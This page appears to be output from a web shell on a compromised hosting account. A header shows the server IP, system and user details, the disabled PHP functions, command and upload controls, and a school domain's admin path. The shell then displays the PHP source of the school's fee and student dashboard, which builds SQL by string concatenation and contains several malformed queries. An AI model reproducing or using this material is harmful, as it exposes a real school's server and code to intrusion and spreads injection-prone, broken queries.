|
Server IP : 2a02:4780:11:1359:0:1d43:a566:2 / Your IP : 216.73.216.199 Web Server : LiteSpeed System : Linux in-mum-web1259.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u490972518 ( 490972518) PHP Version : 5.6.40 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : ON | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u490972518/domains/ppschool.org.in/public_html/admin/jq/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<html>
<head>
<?php include("../link/admin_headconnection.php");
session_start();
$lg=$_SESSION['admin'];
if(!$lg)
{
header("location:../admin/index.php");
}
include("../link/databaseconnection.php");
?>
<link href="../css/dashboard.css" rel="stylesheet" type="text/css"/>
<link href="../css/dashboardmenu.css" rel="stylesheet" type="text/css"/>
<style>
</style>
</head>
<?php
$sel785="select * from admin_login where email='$lg' and status=''";
$res785=mysqli_query($conn,$sel785);
$row785=mysqli_fetch_array($res785,MYSQLI_BOTH);
$user_login=$row785['area'];
$dt=date("Y-m-d");
$d_name='';
$p_date='';
for ($x = 0; $x <= 7; $x++) {
$no_days = $x;
$bdate = strtotime("-".$no_days." days", strtotime($dt));
$d=date("Y-m-d", $bdate);
$d_name='"'.$d.'"'.",".$d_name;
$rest=substr($d_name,0,-1);
////
if($user_login=='Admin')
{
$sel="select * from studentfees where status='' and date='$d' ";
}
else
{
$sel="select * from studentfees where status='' and date='$d' and email='$lg'";
}
$res=mysqli_query($conn,$sel);
$p=0;
while($row=mysqli_fetch_array($res,MYSQLI_BOTH))
{
$p=$row['paid']+$p;
}
$p_date= $p.",".$p_date;
$p1=substr($p_date,0,-1);
}
$c='['.$rest.']';
$p='['.$p1.']';
//echo $c;
?>
<body>
<div class="container">
<div class='row'>
<marquee behavior="alternate" style='font-weight:bold' > Welcome User Email id = <?php echo $lg;?></marquee>
<div class='col-sm-3' id='box' style='background-Color:green;height:100px;border:5px solid black'>
<?php
$sel2="select * from session order by id desc";
$res2=mysqli_query($conn,$sel2);
$row2=mysqli_fetch_array($res2,MYSQLI_BOTH);
$session=$row2['session'];
$sel24="select * from session order by id desc limit 1,1";
$res24=mysqli_query($conn,$sel24);
$row24=mysqli_fetch_array($res24,MYSQLI_BOTH);
$session_old=$row24['session'];
if($user_login=='Admin')
{
$sel1="select * from studentfees where status='' and year='$session' ";
}
else
{
$sel1="select * from studentfees where status='' and year='$session' ";
}
$res1=mysqli_query($conn,$sel1);
$paid=0;
while($row1=mysqli_fetch_array($res1,MYSQLI_BOTH))
{
$paid=$row1['paid']+$paid;
}
$paid;
if($user_login=='Admin')
{
?>
<center>
<h4 style='color:white;font-weight:bold'>Total Fees Paid (<?php echo $session;?>)</h4>
<h4 style='color:white;font-weight:bold'><?php echo $paid?> Rs.</h4>
</center><?php }?>
</div>
<div class='col-sm-3' id='box' style='background-Color:green;height:100px;border:5px solid black'>
<?php
$sel2="select * from session order by id desc";
$res2=mysqli_query($conn,$sel2);
$row2=mysqli_fetch_array($res2,MYSQLI_BOTH);
$session=$row2['session'];
$sel24="select * from session order by id desc limit 1,1";
$res24=mysqli_query($conn,$sel24);
$row24=mysqli_fetch_array($res24,MYSQLI_BOTH);
$session_old=$row24['session'];
if($user_login=='Admin')
{
$sel1="select * from studentfees where status='' and year='$session_old' and id>=499 ";
}
else
{
$sel1="select * from studentfees where status='' and year='$session_old' id>=499 ";
}
$res1=mysqli_query($conn,$sel1);
$paid=0;
while($row1=mysqli_fetch_array($res1,MYSQLI_BOTH))
{
$paid=$row1['paid']+$paid;
}
$paid;
if($user_login=='Admin')
{
?>
<center>
<h4 style='color:white;font-weight:bold'>Total Fees Paid (<?php echo $session_old;?>)</h4>
<h4 style='color:white;font-weight:bold'><?php echo $paid?> Rs.</h4>
</center><?php }?>
</div>
<div class='col-sm-3' id='box' style='background-Color:yellow;height:100px;border:5px solid red'>
<?php
$sel2="select * from session order by id desc";
$res2=mysqli_query($conn,$sel2);
$row2=mysqli_fetch_array($res2,MYSQLI_BOTH);
$session=$row2['session'];
$date=date('Y-m-d');
if($user_login=='Admin')
{
$sel1="select * from studentfees where status='' and date='$date' ";
}
else
{
$sel1="select * from studentfees where status='' and date='$date' and and email='$lg'";
}
$res1=mysqli_query($conn,$sel1);
$paid=0;
while($row1=mysqli_fetch_array($res1,MYSQLI_BOTH))
{
$paid=$row1['paid']+$paid;
}
$paid;
?>
<center>
<h4 style='color:black;font-weight:bold'>Today Fees (<?php echo $date;?>)</h4>
<h4 style='color:black;font-weight:bold'><?php echo $paid?> Rs.</h4>
</center>
</div>
<div class='col-sm-3' id='box' style='background-Color:black;height:100px;border:5px solid red'>
<?php
$sel2="select * from session order by id desc";
$res2=mysqli_query($conn,$sel2);
$row2=mysqli_fetch_array($res2,MYSQLI_BOTH);
$session=$row2['session'];
$date=date('Y-m-d');
$sel1="select * from registration where session='$session' and status='' ";
$res1=mysqli_query($conn,$sel1);
$s=0;
$old=0;
$new=0;
while($row1=mysqli_fetch_array($res1,MYSQLI_BOTH))
{
$s++;
$app=$row1['application'];
$sel11="select * from registration where session='$session_old' and application='$app' and status='' ";
$res11=mysqli_query($conn,$sel11);
$row11=mysqli_fetch_array($res11,MYSQLI_BOTH);
if($row11)
{
$old++;
}
else
{
$new++;
}
}
?>
<center>
<h6 style='color:white;font-weight:bold'>Total Student (<?php echo $session;?>) : <?php echo $s;?></h6>
<h6 style='color:white;font-weight:bold'> <a href='export_new.php'>New Student : <?php echo $new;?></a> </h6>
<h6 style='color:white;font-weight:bold'><a href='exp_old.php'>Old Student : <?php echo $old;?> </a></h6>
</center>
</div>
<div class='col-sm-3' id='box' style='background-Color:blue;height:100px;border:5px solid black'>
<?php
$sel2="select * from session order by id desc";
$res2=mysqli_query($conn,$sel2);
$row2=mysqli_fetch_array($res2,MYSQLI_BOTH);
$session='2022-2023';
$date=date('Y-m-d');
$sel1="select * from registration where session='$session_old' and status='' ";
$res1=mysqli_query($conn,$sel1);
$s=0;
while($row1=mysqli_fetch_array($res1,MYSQLI_BOTH))
{
$s++;
}
?>
<center>
<h4 style='color:white;font-weight:bold'>Total Student (<?php echo $session_old;?>)</h4>
<h4 style='color:white;font-weight:bold'><?php echo $s?> </h4>
</center>
</div>
</div>
<div class='row'>
<div class='col-sm-6'>
<div class="col-sm-6 ">
<center><a href="student_details.php" class="hvr hvr-Grow-Shadow"><img src="../images/student.jpg" alt="..." class="img-circle" height="150px" /><h4 > All Student Details</h4></a></center>
</div>
<div class="col-sm-6">
<center><a href="gallery.php" class="hvr hvr-Grow-Shadow"><img src="../images/gallery.jpg" alt="..." class="img-circle" height="150px">
<h4 > Gallery</h4></a></center>
</div>
<?php
if($user_login=='Admin')
{
?>
<div class="col-sm-6">
<center><a href="#updatefees.php" class="hvr hvr-Grow-Shadow"><img src="../images/rupees_person.png" alt="..." class="img-circle" height="150px" data-toggle="modal" data-target=".forget-modal">
<h4 style="color:"> Update Amount</h4></a></center>
</div><?php }?>
<div class="col-sm-6">
<center><a href="staffzone.php" class="hvr hvr-Grow-Shadow"><img src="../images/staff.jpg" alt="..." class="img-circle" height="150px" /><h4 style="color:"> All Staff/Administration</h4></a></center>
</div>
<div class="col-sm-6">
<center><a href="news.php" class="hvr hvr-Grow-Shadow"><img src="../images/news1.jpg" alt="..." class="img-circle" height="150px">
<h4 style="color:"> News</h4></a></center>
</div>
<div class="col-sm-6">
<center><a href="resultfourth.php" class="hvr hvr-Grow-Shadow" target='_blank'><img src="../images/other.jpg" alt="..." class="img-circle" height="150px">
<h4 style="color:"> Result</h4></a></center>
</div>
<div class="col-sm-6">
<center><a href="staffzone.php" class="hvr hvr-Grow-Shadow"><img src="../images/message.png" alt="..." class="img-circle" height="150px" /><h4 style="color:"> Message</h4></a></center>
<h3 style="position:relative;margin-top:-170px;margin-left:120px; font-weight:bold"></h3>
</div>
<div class="col-sm-6">
<center><a href="printpgresult.php" class="hvr hvr-Grow-Shadow"><img src="../images/Iconshock-Real-Vista-Data-Run.ico" alt="..." class="img-circle" height="150px" /><h4 style="color:"> Print Result</h4></a></center>
</div>
<div class="col-sm-6">
<center><a href="fees.php" class="hvr hvr-Grow-Shadow"><img src="../images/store1.png" alt="..." class="img-circle" height="150px" /><h4 style="color:"> Fees</h4></a></center>
</div>
<div class="col-sm-6">
<center><a href="free.php" class="hvr hvr-Grow-Shadow"><img src="../images/store1.png" alt="..." class="img-circle" height="150px" /><h4 style="color:"> Fixed Concession </h4></a></center>
</div>
<div class="col-sm-6 ">
<center><a href="student_details_tc.php" class="hvr hvr-Grow-Shadow"><img src="../images/student.jpg" alt="..." class="img-circle" height="150px" /><h4 > TC</h4></a></center>
</div>
<div class="col-sm-6">
<center><a href="../code/admin_logoutcode.php" class="hvr hvr-Grow-Shadow"><img src="../images/power.jpg" alt="..." class="img-circle" height="150px">
<h4 style="color:"> Logout</h4></a></center>
</div>
</div>
<div class='col-sm-6'>
<canvas id="myChart" style="width:100%;max-width:600px"></canvas>
<script src="https://cdnjs.cloudflare.com/ajax/libs/Chart.js/2.5.0/Chart.min.js"></script>
<script>
var xValues = <?php echo $c; ?>;
var yValues = <?php echo $p; ?>;
var barColors = ["red", "green","blue","orange","brown","black","yellow","brown"];
new Chart("myChart", {
type: "bar",
data: {
labels: xValues,
datasets: [{
backgroundColor: barColors,
data: yValues
}]
},
options: {
legend: {display: false},
title: {
display: true,
text: "Latest 7 Days Fees"
}
}
});
</script>
<br/>
<br/>
<?php
$session= $row2['session'];
$sel="select * from subclass";
$res=mysqli_query($conn,$sel);
$sum=0;
$dataPoints = array();
while($row=mysqli_fetch_array($res,MYSQLI_BOTH))
{
$class=$row['subclass'];
$sel1="select * from registration where subject='$class' and status='' and session='$session'";
$res1=mysqli_query($conn,$sel1);
$class1='';
$count='';
while($row1=mysqli_fetch_array($res1,MYSQLI_BOTH))
{
$count++;
$class1=$row1['subject'];
}
$a=array("label"=>$class1, "y"=>$count);
//$a=array("y" => $count, "label" => $class1);
array_push($dataPoints,$a);
}
?>
<script>
window.onload = function() {
var chart = new CanvasJS.Chart("chartContainer2", {
animationEnabled: true,
title: {
text: "Student Details"
},
subtitles: [{
text: ""
}],
data: [{
type: "pie",
yValueFormatString: "#,##0\"\"",
indexLabel: "{label} ({y})",
dataPoints: <?php echo json_encode($dataPoints, JSON_NUMERIC_CHECK); ?>
}]
});
chart.render();
}
</script>
<div id="chartContainer2" style="height: 370px; width: 100%;"></div>
<script src="https://canvasjs.com/assets/script/canvasjs.min.js"></script>
<br/>
<br/>
<div class='row'><h4 style='text-align:center'>Class Wise Fees Chart</h4></div>
<canvas id="myChart1" style="width:100%;max-width:600px"></canvas>
<script src="https://cdnjs.cloudflare.com/ajax/libs/Chart.js/2.5.0/Chart.min.js"></script>
<?php
$sel="select * from subclass";
$res=mysqli_query($conn,$sel);
$sum=0;
$d_class='';
$p_paid='';
while($row=mysqli_fetch_array($res,MYSQLI_BOTH))
{
$class=$row['subclass'];
if($user_login=='Admin')
{
$sel1="select * from studentfees where status='' and class='$class' and year='$session'";
}
else
{
$sel1="select * from studentfees where status='' and class='$class'and year='$session' and email='$lg'";
}
$res1=mysqli_query($conn,$sel1);
$paid=0;
while($row1=mysqli_fetch_array($res1,MYSQLI_BOTH))
{
$paid=$row1['paid']+$paid;
}
$d_class='"'.$class.'"'.",".$d_class;
$p_paid= $paid.",".$p_paid;
$p_paid=substr($p_paid,0,-1);
}
$d_class=substr($d_class,0,-1);
$c1='['.$d_class.']';
$p1='['.$p_paid.']';
?>
<script>
var xValues = <?php echo $c1; ?>;
var yValues = <?php echo $p1; ?>;
var barColors = ["red", "green","blue","orange","brown","black","yellow","brown","red", "green","blue","black","brown","red",];
new Chart("myChart1", {
type: "bar",
data: {
labels: xValues,
datasets: [{
backgroundColor: barColors,
data: yValues
}]
},
options: {
legend: {display: false},
title: {
display: true,
text: "Class Wise Fees"
}
}
});
</script>
<br/>
<br/>
<br/>
</div>
<div class='row'><h4 style='text-align:center'> </h4></div>
<div class="container" style='width:70%'>
</tbody>
</table>
</div>
</div>
</div>
</div>
<div class="modal fade forget-modal" tabindex="-1" role="dialog" aria-labelledby="myForgetModalLabel" aria-hidden="true" id="modal1">
<form id="go" action="go.php" method="post" >
<div class="modal-dialog modal-sm">
<div class="modal-content">
<div class="modal-header">
<button type="button" class="close" data-dismiss="modal">
<span aria-hidden="true">×</span>
<span class="sr-only">Close</span>
</button>
<h4 class="modal-title" style="color:green"> Fill Form</h4>
</div>
<div class="modal-body">
<input type="text" class="form-control" required name="user" placeholder="User Name"><br/>
<input type="text" class="form-control" required name="password" placeholder="Password"><br/>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-default" data-dismiss="modal">Cancel</button>
<button id="re" class="btn btn-custom">Login</button>
</div>
</div> <!-- /.modal-content -->
</div> <!-- /.modal-dialog -->
</form>
</div> <!-- /.modal -->
</body>
</html>